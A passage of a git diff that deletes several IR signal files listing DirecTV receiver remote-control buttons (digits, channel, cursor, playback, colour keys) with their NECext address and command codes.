-protocol: NECext -address: 02 00 00 00 -command: 3D 00 00 00 -# -name: RED -type: parsed -protocol: NECext -address: 02 00 00 00 -command: 41 00 00 00 -# -name: YELLOW -type: parsed -protocol: NECext -address: 02 00 00 00 -command: 42 00 00 00 -# -name: GREEN -type: parsed -protocol: NECext -address: 02 00 00 00 -command: 43 00 00 00 -# -name: BLUE -type: parsed -protocol: NECext -address: 02 00 00 00 -command: 44 00 00 00 -# -name: FORMAT -type: parsed -protocol: NECext -address: 02 00 00 00 -command: 73 00 00 00 -# -name: POWER_ON -type: parsed -protocol: NECext -address: 02 00 00 00 -command: 80 00 00 00 -# -name: POWER_OFF -type: parsed -protocol: NECext -address: 02 00 00 00 -command: 81 00 00 00 -# -name: FACTORY_TEST -type: parsed -protocol: NECext -address: 02 00 00 00 -command: EA 00 00 00 diff --git a/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/DirecTV/Receiver HDDVR/3,-1.ir b/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/DirecTV/Receiver HDDVR/3,-1.ir deleted file mode 100644 index d0d624dda..000000000 --- a/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/DirecTV/Receiver HDDVR/3,-1.ir +++ /dev/null @@ -1,284 +0,0 @@ -Filetype: IR signals file -Version: 1 -# -name: 1 -type: parsed -protocol: NECext -address: 03 00 00 00 -command: 01 00 00 00 -# -name: 2 -type: parsed -protocol: NECext -address: 03 00 00 00 -command: 02 00 00 00 -# -name: 3 -type: parsed -protocol: NECext -address: 03 00 00 00 -command: 03 00 00 00 -# -name: 4 -type: parsed -protocol: NECext -address: 03 00 00 00 -command: 04 00 00 00 -# -name: 5 -type: parsed -protocol: NECext -address: 03 00 00 00 -command: 05 00 00 00 -# -name: 6 -type: parsed -protocol: NECext -address: 03 00 00 00 -command: 06 00 00 00 -# -name: 7 -type: parsed -protocol: NECext -address: 03 00 00 00 -command: 07 00 00 00 -# -name: 8 -type: parsed -protocol: NECext -address: 03 00 00 00 -command: 08 00 00 00 -# -name: 9 -type: parsed -protocol: NECext -address: 03 00 00 00 -command: 09 00 00 00 -# -name: CHANNEL_+ -type: parsed -protocol: NECext -address: 03 00 00 00 -command: 0D 00 00 00 -# -name: CHANNEL_- -type: parsed -protocol: NECext -address: 03 00 00 00 -command: 0E 00 00 00 -# -name: PREV_CHAN -type: parsed -protocol: NECext -address: 03 00 00 00 -command: 0F 00 00 00 -# -name: POWER -type: parsed -protocol: NECext -address: 03 00 00 00 -command: 10 00 00 00 -# -name: 0 -type: parsed -protocol: NECext -address: 03 00 00 00 -command: 11 00 00 00 -# -name: DASH -type: parsed -protocol: NECext -address: 03 00 00 00 -command: 12 00 00 00 -# -name: MENU -type: parsed -protocol: NECext -address: 03 00 00 00 -command: 20 00 00 00 -# -name: CURSOR_UP -type: parsed -protocol: NECext -address: 03 00 00 00 -command: 21 00 00 00 -# -name: CURSOR_DOWN -type: parsed -protocol: NECext -address: 03 00 00 00 -command: 22 00 00 00 -# -name: CURSOR_LEFT -type: parsed -protocol: NECext -address: 03 00 00 00 -command: 23 00 00 00 -# -name: CURSOR_RIGHT -type: parsed -protocol: NECext -address: 03 00 00 00 -command: 24 00 00 00 -# -name: SELECT -type: parsed -protocol: NECext -address: 03 00 00 00 -command: 25 00 00 00 -# -name: EXIT -type: parsed -protocol: NECext -address: 03 00 00 00 -command: 26 00 00 00 -# -name: BACK -type: parsed -protocol: NECext -address: 03 00 00 00 -command: 27 00 00 00 -# -name: GUIDE -type: parsed -protocol: NECext -address: 03 00 00 00 -command: 28 00 00 00 -# -name: ACTIVE -type: parsed -protocol: NECext -address: 03 00 00 00 -command: 29 00 00 00 -# -name: LIST -type: parsed -protocol: NECext -address: 03 00 00 00 -command: 2A 00 00 00 -# -name: INFO -type: parsed -protocol: NECext -address: 03 00 00 00 -command: 2E 00 00 00 -# -name: PLAY -type: parsed -protocol: NECext -address: 03 00 00 00 -command: 30 00 00 00 -# -name: STOP -type: parsed -protocol: NECext -address: 03 00 00 00 -command: 31 00 00 00 -# -name: PAUSE -type: parsed -protocol: NECext -address: 03 00 00 00 -command: 32 00 00 00 -# -name: REWIND -type: parsed -protocol: NECext -address: 03 00 00 00 -command: 33 00 00 00 -# -name: FAST_FORWARD -type: parsed -protocol: NECext -address: 03 00 00 00 -command: 34 00 00 00 -# -name: RECORD -type: parsed -protocol: NECext -address: 03 00 00 00 -command: 35 00 00 00 -# -name: REPLAY -type: parsed -protocol: NECext -address: 03 00 00 00 -command: 36 00 00 00 -# -name: NEXT_TRACK -type: parsed -protocol: NECext -address: 03 00 00 00 -command: 37 00 00 00 -# -name: SKIP_30_SEC -type: parsed -protocol: NECext -address: 03 00 00 00 -command: 38 00 00 00 -# -name: SLOW_MOTION -type: parsed -protocol: NECext -address: 03 00 00 00 -command: 3A 00 00 00 -# -name: SKIP_BACK -type: parsed -protocol: NECext -address: 03 00 00 00 -command: 3C 00 00 00 -# -name: SKIP_FORWARD -type: parsed -protocol: NECext -address: 03 00 00 00 -command: 3D 00 00 00 -# -name: RED -type: parsed -protocol: NECext -address: 03 00 00 00 -command: 41 00 00 00 -# -name: YELLOW -type: parsed -protocol: NECext -address: 03 00 00 00 -command: 42 00 00 00 -# -name: GREEN -type: parsed -protocol: NECext -address: 03 00 00 00 -command: 43 00 00 00 -# -name: BLUE -type: parsed -protocol: NECext -address: 03 00 00 00 -command: 44 00 00 00 -# -name: FORMAT -type: parsed -protocol: NECext -address: 03 00 00 00 -command: 73 00 00 00 -# -name: POWER_ON -type: parsed -protocol: NECext -address: 03 00 00 00 -command: 80 00 00 00 -# -name: POWER_OFF -type: parsed -protocol: NECext -address: 03 00 00 00 -command: 81 00 00 00 -# -name: FACTORY_TEST -type: parsed -protocol: NECext -address: 03 00 00 00 -command: EA 00 00 00 diff --git a/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/DirecTV/Receiver HDDVR/64,-1.ir b/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/DirecTV/Receiver HDDVR/64,-1.ir deleted file mode 100644 index e5195c26b..000000000 --- a/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/DirecTV/Receiver HDDVR/64,-1.ir +++ /dev/null @@ -1,32 +0,0 @@ -Filetype: IR signals file -Version: 1 -# -name: -type: parsed -protocol: NECext -address: 40 00 00 00 -command: 10 00 00 00 -# -name: -type: parsed -protocol: NECext -address: 40 00 00 00 -command: 1A 00 00 00 -# -name: -type: parsed -protocol: NECext -address: 40 00 00 00 -command: 1E 00 00 00 -# -name: -type: parsed -protocol: NECext -address: 40 00 00 00 -command: 7E 00 00 00 -# -name: -type: parsed -protocol: NECext -address: 40 00 00 00 -command: 7F 00 00 00 diff --git a/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/DirecTV/Receiver HDDVR/71,-1.ir b/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/DirecTV/Receiver HDDVR/71,-1.ir deleted file mode 100644 index c759ff481..000000000 --- a/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/DirecTV/Receiver HDDVR/71,-1.ir +++ /dev/null @@ -1,14 +0,0 @@ -Filetype: IR signals file -Version: 1 -# -name: -type: parsed -protocol: NECext -address: 47 00 00 00 -command: 42 00 00 00 -# -name: -type: parsed -protocol: NECext -address: 47 00 00 00 -command: 4A 00 00 00 diff --git a/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/DirecTV/Receiver SD/12,-1.ir b/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/DirecTV/Receiver SD/12,-1.ir deleted file mode 100644 index be9293aa0..000000000 --- a/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/DirecTV/Receiver SD/12,-1.ir +++ /dev/null @@ -1,254 +0,0 @@ -Filetype: IR signals file -Version: 1 -# -name: 1 -type: parsed -protocol: NECext -address: 0C 00 00 00 -command: 01 00 00 00 -# -name: 2 -type: parsed -protocol: NECext -address: 0C 00 00 00 -command: 02 00 00 00 -# -name: 3 -type: parsed -protocol: NECext -address: 0C 00 00 00 -command: 03 00 00 00 -# -name: 4 -type: parsed -protocol: NECext -address: 0C 00 00 00 -command: 04 00 00 00 -# -name: 5 -type: parsed -protocol: NECext -address: 0C 00 00 00 -command: 05 00 00 00 -# -name: 6 -type: parsed -protocol: NECext -address: 0C 00 00 00 -command: 06 00 00 00 -# -name: 7 -type: parsed -protocol: NECext -address: 0C 00 00 00 -command: 07 00 00 00 -# -name: 8 -type: parsed -protocol: NECext -address: 0C 00 00 00 -command: 08 00 00 00 -# -name: 9 -type: parsed -protocol: NECext -address: 0C 00 00 00 -command: 09 00 00 00 -# -name: CH_+ -type: parsed -protocol: NECext -address: 0C 00 00 00 -command: 0D 00 00 00 -# -name: PAGE_UP -type: parsed -protocol: NECext -address: 0C 00 00 00 -command: 0D 00 00 00 -# -name: CH_- -type: parsed -protocol: NECext -address: 0C 00 00 00 -command: 0E 00 00 00 -# -name: PAGE_DOWN -type: parsed -protocol: NECext -address: 0C 00 00 00 -command: 0E 00 00 00 -# -name: PREVIOUS -type: parsed -protocol: NECext -address: 0C 00 00 00 -command: 0F 00 00 00 -# -name: POWER -type: parsed -protocol: NECext -address: 0C 00 00 00 -command: 10 00 00 00 -# -name: 0 -type: parsed -protocol: NECext -address: 0C 00 00 00 -command: 11 00 00 00 -# -name: - -type: parsed -protocol: NECext -address: 0C 00 00 00 -command: 12 00 00 00 -# -name: ENTER -type: parsed -protocol: NECext -address: 0C 00 00 00 -command: 13 00 00 00 -# -name: MENU -type: parsed -protocol: NECext -address: 0C 00 00 00 -command: 20 00 00 00 -# -name: C-UP -type: parsed -protocol: NECext -address: 0C 00 00 00 -command: 21 00 00 00 -# -name: C-DWN -type: parsed -protocol: NECext -address: 0C 00 00 00 -command: 22 00 00 00 -# -name: C-LF -type: parsed -protocol: NECext -address: 0C 00 00 00 -command: 23 00 00 00 -# -name: C-RT -type: parsed -protocol: NECext -address: 0C 00 00 00 -command: 24 00 00 00 -# -name: SELECT -type: parsed -protocol: NECext -address: 0C 00 00 00 -command: 25 00 00 00 -# -name: EXIT -type: parsed -protocol: NECext -address: 0C 00 00 00 -command: 26 00 00 00 -# -name: BACK -type: parsed -protocol: NECext -address: 0C 00 00 00 -command: 27 00 00 00 -# -name: GUIDE -type: parsed -protocol: NECext -address: 0C 00 00 00 -command: 28 00 00 00 -# -name: ACTIVE -type: parsed -protocol: NECext -address: 0C 00 00 00 -command: 29 00 00 00 -# -name: LIST -type: parsed -protocol: NECext -address: 0C 00 00 00 -command: 2A 00 00 00 -# -name: INFO -type: parsed -protocol: NECext -address: 0C 00 00 00 -command: 2E 00 00 00 -# -name: PLAY -type: parsed -protocol: NECext -address: 0C 00 00 00 -command: 30 00 00 00 -# -name: SQUARE -type: parsed -protocol: NECext -address: 0C 00 00 00 -command: 31 00 00 00 -# -name: PAUSE -type: parsed -protocol: NECext -address: 0C 00 00 00 -command: 32 00 00 00 -# -name: << -type: parsed -protocol: NECext -address: 0C 00 00 00 -command: 33 00 00 00 -# -name: >> -type: parsed -protocol: NECext -address: 0C 00 00 00 -command: 34 00 00 00 -# -name: R -type: parsed -protocol: NECext -address: 0C 00 00 00 -command: 35 00 00 00 -# -name: ARROW_AROUND_TO_RT -type: parsed -protocol: NECext -address: 0C 00 00 00 -command: 36 00 00 00 -# -name: ARROW_AROUND_TO_LEFT -type: parsed -protocol: NECext -address: 0C 00 00 00 -command: 37 00 00 00 -# -name: RED -type: parsed -protocol: NECext -address: 0C 00 00 00 -command: 41 00 00 00 -# -name: YELLOW -type: parsed -protocol: NECext -address: 0C 00 00 00 -command: 42 00 00 00 -# -name: GREEN -type: parsed -protocol: NECext -address: 0C 00 00 00 -command: 43 00 00 00 -# -name: BLUE -type: parsed -protocol: NECext -address: 0C 00 00 00 -command: 44 00 00 00 diff --git a/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/DirecTV/Receiver SD/13,-1.ir b/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/DirecTV/Receiver SD/13,-1.ir deleted file mode 100644 index 71ed67499..000000000 --- a/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/DirecTV/Receiver SD/13,-1.ir +++ /dev/null @@ -1,254 +0,0 @@ -Filetype: IR signals file -Version: 1 -# -name: 1 -type: parsed -protocol: NECext -address: 0D 00 00 00 -command: 01 00 00 00 -# -name: 2 -type: parsed -protocol: NECext -address: 0D 00 00 00 -command: 02 00 00 00 -# -name: 3 -type: parsed -protocol: NECext -address: 0D 00 00 00 -command: 03 00 00 00 -# -name: -type: parsed -protocol: NECext -address: 0D 00 00 00 -command: 03 00 00 00 -# -name: 4 -type: parsed -protocol: NECext -address: 0D 00 00 00 -command: 04 00 00 00 -# -name: 5 -type: parsed -protocol: NECext -address: 0D 00 00 00 -command: 05 00 00 00 -# -name: 6 -type: parsed -protocol: NECext -address: 0D 00 00 00 -command: 06 00 00 00 -# -name: 7 -type: parsed -protocol: NECext -address: 0D 00 00 00 -command: 07 00 00 00 -# -name: 8 -type: parsed -protocol: NECext -address: 0D 00 00 00 -command: 08 00 00 00 -# -name: 9 -type: parsed -protocol: NECext -address: 0D 00 00 00 -command: 09 00 00 00 -# -name: CHANNEL_+ -type: parsed -protocol: NECext -address: 0D 00 00 00 -command: 0D 00 00 00 -# -name: CHANNEL_- -type: parsed -protocol: NECext -address: 0D 00 00 00 -command: 0E 00 00 00 -# -name: PREV -type: parsed -protocol: NECext -address: 0D 00 00 00 -command: 0F 00 00 00 -# -name: POWER -type: parsed -protocol: NECext -address: 0D 00 00 00 -command: 10 00 00 00 -# -name: 0 -type: parsed -protocol: NECext -address: 0D 00 00 00 -command: 11 00 00 00 -# -name: -type: parsed -protocol: NECext -address: 0D 00 00 00 -command: 11 00 00 00 -# -name: DASH -type: parsed -protocol: NECext -address: 0D 00 00 00 -command: 12 00 00 00 -# -name: ENTER -type: parsed -protocol: NECext -address: 0D 00 00 00 -command: 13 00 00 00 -# -name: MENU -type: parsed -protocol: NECext -address: 0D 00 00 00 -command: 20 00 00 00 -# -name: CURSOR_UP -type: parsed -protocol: NECext -address: 0D 00 00 00 -command: 21 00 00 00 -# -name: CURSOR_DOWN -type: parsed -protocol: NECext -address: 0D 00 00 00 -command: 22 00 00 00 -# -name: CURSOR_LEFT -type: parsed -protocol: NECext -address: 0D 00 00 00 -command: 23 00 00 00 -# -name: CURSOR_RIGHT -type: parsed -protocol: NECext -address: 0D 00 00 00 -command: 24 00 00 00 -# -name: CURSOR_ENTER -type: parsed -protocol: NECext -address: 0D 00 00 00 -command: 25 00 00 00 -# -name: EXIT -type: parsed -protocol: NECext -address: 0D 00 00 00 -command: 26 00 00 00 -# -name: BACK -type: parsed -protocol: NECext -address: 0D 00 00 00 -command: 27 00 00 00 -# -name: GUIDE -type: parsed -protocol: NECext -address: 0D 00 00 00 -command: 28 00 00 00 -# -name: ACTIVE -type: parsed -protocol: NECext -address: 0D 00 00 00 -command: 29 00 00 00 -# -name: LIST -type: parsed -protocol: NECext -address: 0D 00 00 00 -command: 2A 00 00 00 -# -name: INFO -type: parsed -protocol: NECext -address: 0D 00 00 00 -command: 2E 00 00 00 -# -name: PLAY -type: parsed -protocol: NECext -address: 0D 00 00 00 -command: 30 00 00 00 -# -name: STOP -type: parsed -protocol: NECext -address: 0D 00 00 00 -command: 31 00 00 00 -# -name: PAUSE -type: parsed -protocol: NECext -address: 0D 00 00 00 -command: 32 00 00 00 -# -name: REW -type: parsed -protocol: NECext -address: 0D 00 00 00 -command: 33 00 00 00 -# -name: FF -type: parsed -protocol: NECext -address: 0D 00 00 00 -command: 34 00 00 00 -# -name: RECORD -type: parsed -protocol: NECext -address: 0D 00 00 00 -command: 35 00 00 00 -# -name: SKIP_<< -type: parsed -protocol: NECext -address: 0D 00 00 00 -command: 36 00 00 00 -# -name: SKIP_>> -type: parsed -protocol: NECext -address: 0D 00 00 00 -command: 37 00 00 00 -# -name: RED -type: parsed -protocol: NECext -address: 0D 00 00 00 -command: 41 00 00 00 -# -name: YELLOW -type: parsed -protocol: NECext -address: 0D 00 00 00 -command: 42 00 00 00 -# -name: GREEN -type: parsed -protocol: NECext -address: 0D 00 00 00 -command: 43 00 00 00 -# -name: BLUE -type: parsed -protocol: NECext -address: 0D 00 00 00 -command: 44 00 00 00 diff --git a/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/DirecTV/Receiver SDDVR/12,-1.ir b/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/DirecTV/Receiver SDDVR/12,-1.ir deleted file mode 100644 index 0792a57f5..000000000 --- a/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/DirecTV/Receiver SDDVR/12,-1.ir +++ /dev/null @@ -1,278 +0,0 @@ -Filetype: IR signals file -Version: 1 -# -name: 1 -type: parsed -protocol: NECext -address: 0C 00 00 00 -command: 01 00 00 00 -# -name: 2 -type: parsed -protocol: NECext -address: 0C 00 00 00 -command: 02 00 00 00 -# -name: 3 -type: parsed -protocol: NECext -address: 0C 00 00 00 -command: 03 00 00 00 -# -name: 4 -type: parsed -protocol: NECext -address: 0C 00 00 00 -command: 04 00 00 00 -# -name: 5 -type: parsed -protocol: NECext -address: 0C 00 00 00 -command: 05 00 00 00 -# -name: 6 -type: parsed -protocol: NECext -address: 0C 00 00 00 -command: 06 00 00 00 -# -name: 7 -type: parsed -protocol: NECext -address: 0C 00 00 00 -command: 07 00 00 00 -# -name: 8 -type: parsed -protocol: NECext -address: 0C 00 00 00 -command: 08 00 00 00 -# -name: 9 -type: parsed -protocol: NECext -address: 0C 00 00 00 -command: 09 00 00 00 -# -name: CHANNEL_+ -type: parsed -protocol: NECext -address: 0C 00 00 00 -command: 0D 00 00 00 -# -name: CHANNEL_- -type: parsed -protocol: NECext -address: 0C 00 00 00 -command: 0E 00 00 00 -# -name: PREVIOUS -type: parsed -protocol: NECext -address: 0C 00 00 00 -command: 0F 00 00 00 -# -name: PREV_CH -type: parsed -protocol: NECext -address: 0C 00 00 00 -command: 0F 00 00 00 -# -name: POWER -type: parsed -protocol: NECext -address: 0C 00 00 00 -command: 10 00 00 00 -# -name: 0 -type: parsed -protocol: NECext -address: 0C 00 00 00 -command: 11 00 00 00 -# -name: DASH_- -type: parsed -protocol: NECext -address: 0C 00 00 00 -command: 12 00 00 00 -# -name: ENTER -type: parsed -protocol: NECext -address: 0C 00 00 00 -command: 13 00 00 00 -# -name: MENU -type: parsed -protocol: NECext -address: 0C 00 00 00 -command: 20 00 00 00 -# -name: CURSOR_UP -type: parsed -protocol: NECext -address: 0C 00 00 00 -command: 21 00 00 00 -# -name: CURSOR_DOWN -type: parsed -protocol: NECext -address: 0C 00 00 00 -command: 22 00 00 00 -# -name: CURSOR_LEFT -type: parsed -protocol: NECext -address: 0C 00 00 00 -command: 23 00 00 00 -# -name: CURSOR_RIGHT -type: parsed -protocol: NECext -address: 0C 00 00 00 -command: 24 00 00 00 -# -name: CURSOR_ENTER -type: parsed -protocol: NECext -address: 0C 00 00 00 -command: 25 00 00 00 -# -name: CURSOR_SELECT -type: parsed -protocol: NECext -address: 0C 00 00 00 -command: 25 00 00 00 -# -name: EXIT -type: parsed -protocol: NECext -address: 0C 00 00 00 -command: 26 00 00 00 -# -name: BACK -type: parsed -protocol: NECext -address: 0C 00 00 00 -command: 27 00 00 00 -# -name: GUIDE -type: parsed -protocol: NECext -address: 0C 00 00 00 -command: 28 00 00 00 -# -name: ACTIVE -type: parsed -protocol: NECext -address: 0C 00 00 00 -command: 29 00 00 00 -# -name: LIST -type: parsed -protocol: NECext -address: 0C 00 00 00 -command: 2A 00 00 00 -# -name: INFO -type: parsed -protocol: NECext -address: 0C 00 00 00 -command: 2E 00 00 00 -# -name: PLAY -type: parsed -protocol: NECext -address: 0C 00 00 00 -command: 30 00 00 00 -# -name: STOP -type: parsed -protocol: NECext -address: 0C 00 00 00 -command: 31 00 00 00 -# -name: PAUSE -type: parsed -protocol: NECext -address: 0C 00 00 00 -command: 32 00 00 00 -# -name: REWUND -type: parsed -protocol: NECext -address: 0C 00 00 00 -command: 33 00 00 00 -# -name: REW -type: parsed -protocol: NECext -address: 0C 00 00 00 -command: 33 00 00 00 -# -name: FAST_FORWARD -type: parsed -protocol: NECext -address: 0C 00 00 00 -command: 34 00 00 00 -# -name: FFWD -type: parsed -protocol: NECext -address: 0C 00 00 00 -command: 34 00 00 00 -# -name: RECORD -type: parsed -protocol: NECext -address: 0C 00 00 00 -command: 35 00 00 00 -# -name: REPLAY -type: parsed -protocol: NECext -address: 0C 00 00 00 -command: 36 00 00 00 -# -name: JUMP -type: parsed -protocol: NECext -address: 0C 00 00 00 -command: 37 00 00 00 -# -name: RED -type: parsed -protocol: NECext -address: 0C 00 00 00 -command: 41 00 00 00 -# -name: YELLOW -type: parsed -protocol: NECext -address: 0C 00 00 00 -command: 42 00 00 00 -# -name: GREEN -type: parsed -protocol: NECext -address: 0C 00 00 00 -command: 43 00 00 00 -# -name: BLUE -type: parsed -protocol: NECext -address: 0C 00 00 00 -command: 44 00 00 00 -# -name: POWER_ON -type: parsed -protocol: NECext -address: 0C 00 00 00 -command: 80 00 00 00 -# -name: POWER_OFF -type: parsed -protocol: NECext -address: 0C 00 00 00 -command: 81 00 00 00 diff --git a/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/DirecTV/Receiver SDDVR/133,48.ir b/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/DirecTV/Receiver SDDVR/133,48.ir deleted file mode 100644 index db7ee4e24..000000000 --- a/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/DirecTV/Receiver SDDVR/133,48.ir +++ /dev/null @@ -1,194 +0,0 @@ -Filetype: IR signals file -Version: 1 -# -name: DIRECTV -type: parsed -protocol: NECext -address: 85 30 00 00 -command: 0F 00 00 00 -# -name: LIVE_TV -type: parsed -protocol: NECext -address: 85 30 00 00 -command: 11 00 00 00 -# -name: INFO -type: parsed -protocol: NECext -address: 85 30 00 00 -command: 13 00 00 00 -# -name: CURSOR_UP -type: parsed -protocol: NECext -address: 85 30 00 00 -command: 14 00 00 00 -# -name: CURSOR_RIGHT -type: parsed -protocol: NECext -address: 85 30 00 00 -command: 15 00 00 00 -# -name: CURSOR_DOWN -type: parsed -protocol: NECext -address: 85 30 00 00 -command: 16 00 00 00 -# -name: CURSOR_LEFT -type: parsed -protocol: NECext -address: 85 30 00 00 -command: 17 00 00 00 -# -name: THUMBS_DOWN -type: parsed -protocol: NECext -address: 85 30 00 00 -command: 18 00 00 00 -# -name: CURSOR_ENTER -type: parsed -protocol: NECext -address: 85 30 00 00 -command: 19 00 00 00 -# -name: THUMBS_UP -type: parsed -protocol: NECext -address: 85 30 00 00 -command: 1A 00 00 00 -# -name: CHANNEL_+ -type: parsed -protocol: NECext -address: 85 30 00 00 -command: 1E 00 00 00 -# -name: CHANNEL_- -type: parsed -protocol: NECext -address: 85 30 00 00 -command: 1F 00 00 00 -# -name: RECORD -type: parsed -protocol: NECext -address: 85 30 00 00 -command: 20 00 00 00 -# -name: PLAY -type: parsed -protocol: NECext -address: 85 30 00 00 -command: 21 00 00 00 -# -name: SEARCH_<< -type: parsed -protocol: NECext -address: 85 30 00 00 -command: 22 00 00 00 -# -name: PAUSE -type: parsed -protocol: NECext -address: 85 30 00 00 -command: 23 00 00 00 -# -name: SEARCH_>> -type: parsed -protocol: NECext -address: 85 30 00 00 -command: 24 00 00 00 -# -name: REPLAY -type: parsed -protocol: NECext -address: 85 30 00 00 -command: 26 00 00 00 -# -name: END> -type: parsed -protocol: NECext -address: 85 30 00 00 -command: 27 00 00 00 -# -name: 1 -type: parsed -protocol: NECext -address: 85 30 00 00 -command: 28 00 00 00 -# -name: 2 -type: parsed -protocol: NECext -address: 85 30 00 00 -command: 29 00 00 00 -# -name: 3 -type: parsed -protocol: NECext -address: 85 30 00 00 -command: 2A 00 00 00 -# -name: 4 -type: parsed -protocol: NECext -address: 85 30 00 00 -command: 2B 00 00 00 -# -name: 5 -type: parsed -protocol: NECext -address: 85 30 00 00 -command: 2C 00 00 00 -# -name: 6 -type: parsed -protocol: NECext -address: 85 30 00 00 -command: 2D 00 00 00 -# -name: 7 -type: parsed -protocol: NECext -address: 85 30 00 00 -command: 2E 00 00 00 -# -name: 8 -type: parsed -protocol: NECext -address: 85 30 00 00 -command: 2F 00 00 00 -# -name: 9 -type: parsed -protocol: NECext -address: 85 30 00 00 -command: 30 00 00 00 -# -name: 0 -type: parsed -protocol: NECext -address: 85 30 00 00 -command: 31 00 00 00 -# -name: ENTER/LAST_CH -type: parsed -protocol: NECext -address: 85 30 00 00 -command: 33 00 00 00 -# -name: GUIDE -type: parsed -protocol: NECext -address: 85 30 00 00 -command: 36 00 00 00 -# -name: LIST -type: parsed -protocol: NECext -address: 85 30 00 00 -command: 46 00 00 00 diff --git a/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/DirecTV/Satellite/12,-1.ir b/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/DirecTV/Satellite/12,-1.ir deleted file mode 100644 index ba87d047d..000000000 --- a/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/DirecTV/Satellite/12,-1.ir +++ /dev/null @@ -1,536 +0,0 @@ -Filetype: IR signals file -Version: 1 -# -name: 1 -type: parsed -protocol: NECext -address: 0C 00 00 00 -command: 01 00 00 00 -# -name: 2 -type: parsed -protocol: NECext -address: 0C 00 00 00 -command: 02 00 00 00 -# -name: 3 -type: parsed -protocol: NECext -address: 0C 00 00 00 -command: 03 00 00 00 -# -name: 4 -type: parsed -protocol: NECext -address: 0C 00 00 00 -command: 04 00 00 00 -# -name: 5 -type: parsed -protocol: NECext -address: 0C 00 00 00 -command: 05 00 00 00 -# -name: 6 -type: parsed -protocol: NECext -address: 0C 00 00 00 -command: 06 00 00 00 -# -name: 7 -type: parsed -protocol: NECext -address: 0C 00 00 00 -command: 07 00 00 00 -# -name: 8 -type: parsed -protocol: NECext -address: 0C 00 00 00 -command: 08 00 00 00 -# -name: 9 -type: parsed -protocol: NECext -address: 0C 00 00 00 -command: 09 00 00 00 -# -name: CH/PAGE_UP -type: parsed -protocol: NECext -address: 0C 00 00 00 -command: 0D 00 00 00 -# -name: CHANNEL_+ -type: parsed -protocol: NECext -address: 0C 00 00 00 -command: 0D 00 00 00 -# -name: CH/PAGE_DOWN -type: parsed -protocol: NECext -address: 0C 00 00 00 -command: 0E 00 00 00 -# -name: CHANNEL_- -type: parsed -protocol: NECext -address: 0C 00 00 00 -command: 0E 00 00 00 -# -name: PREV -type: parsed -protocol: NECext -address: 0C 00 00 00 -command: 0F 00 00 00 -# -name: PREV_CH -type: parsed -protocol: NECext -address: 0C 00 00 00 -command: 0F 00 00 00 -# -name: PREVIOUS_CHAN -type: parsed -protocol: NECext -address: 0C 00 00 00 -command: 0F 00 00 00 -# -name: PREVIOUS_CHANNEL -type: parsed -protocol: NECext -address: 0C 00 00 00 -command: 0F 00 00 00 -# -name: PWR -type: parsed -protocol: NECext -address: 0C 00 00 00 -command: 10 00 00 00 -# -name: POWER -type: parsed -protocol: NECext -address: 0C 00 00 00 -command: 10 00 00 00 -# -name: 0 -type: parsed -protocol: NECext -address: 0C 00 00 00 -command: 11 00 00 00 -# -name: DASH -type: parsed -protocol: NECext -address: 0C 00 00 00 -command: 12 00 00 00 -# -name: _DASH -type: parsed -protocol: NECext -address: 0C 00 00 00 -command: 12 00 00 00 -# -name: - -type: parsed -protocol: NECext -address: 0C 00 00 00 -command: 12 00 00 00 -# -name: ENTER -type: parsed -protocol: NECext -address: 0C 00 00 00 -command: 13 00 00 00 -# -name: -type: parsed -protocol: NECext -address: 0C 00 00 00 -command: 13 00 00 00 -# -name: MENU -type: parsed -protocol: NECext -address: 0C 00 00 00 -command: 20 00 00 00 -# -name: ARROW_UP -type: parsed -protocol: NECext -address: 0C 00 00 00 -command: 21 00 00 00 -# -name: CURSOR_UP -type: parsed -protocol: NECext -address: 0C 00 00 00 -command: 21 00 00 00 -# -name: UP_ARROW -type: parsed -protocol: NECext -address: 0C 00 00 00 -command: 21 00 00 00 -# -name: ARROW_DOWN -type: parsed -protocol: NECext -address: 0C 00 00 00 -command: 22 00 00 00 -# -name: CURSOR_DOWN -type: parsed -protocol: NECext -address: 0C 00 00 00 -command: 22 00 00 00 -# -name: DOWN_ARROW -type: parsed -protocol: NECext -address: 0C 00 00 00 -command: 22 00 00 00 -# -name: ARROW_LEFT -type: parsed -protocol: NECext -address: 0C 00 00 00 -command: 23 00 00 00 -# -name: CURSOR_LEFT -type: parsed -protocol: NECext -address: 0C 00 00 00 -command: 23 00 00 00 -# -name: LEFT_ARROW -type: parsed -protocol: NECext -address: 0C 00 00 00 -command: 23 00 00 00 -# -name: ARROW_RIGHT -type: parsed -protocol: NECext -address: 0C 00 00 00 -command: 24 00 00 00 -# -name: CURSOR_RIGHT -type: parsed -protocol: NECext -address: 0C 00 00 00 -command: 24 00 00 00 -# -name: RIGHT_ARROW -type: parsed -protocol: NECext -address: 0C 00 00 00 -command: 24 00 00 00 -# -name: ARROW_SELECT -type: parsed -protocol: NECext -address: 0C 00 00 00 -command: 25 00 00 00 -# -name: CURSOR_SELECT -type: parsed -protocol: NECext -address: 0C 00 00 00 -command: 25 00 00 00 -# -name: CURSOR_ENTER -type: parsed -protocol: NECext -address: 0C 00 00 00 -command: 25 00 00 00 -# -name: SELECT -type: parsed -protocol: NECext -address: 0C 00 00 00 -command: 25 00 00 00 -# -name: EXIT -type: parsed -protocol: NECext -address: 0C 00 00 00 -command: 26 00 00 00 -# -name: BACK -type: parsed -protocol: NECext -address: 0C 00 00 00 -command: 27 00 00 00 -# -name: GUIDE -type: parsed -protocol: NECext -address: 0C 00 00 00 -command: 28 00 00 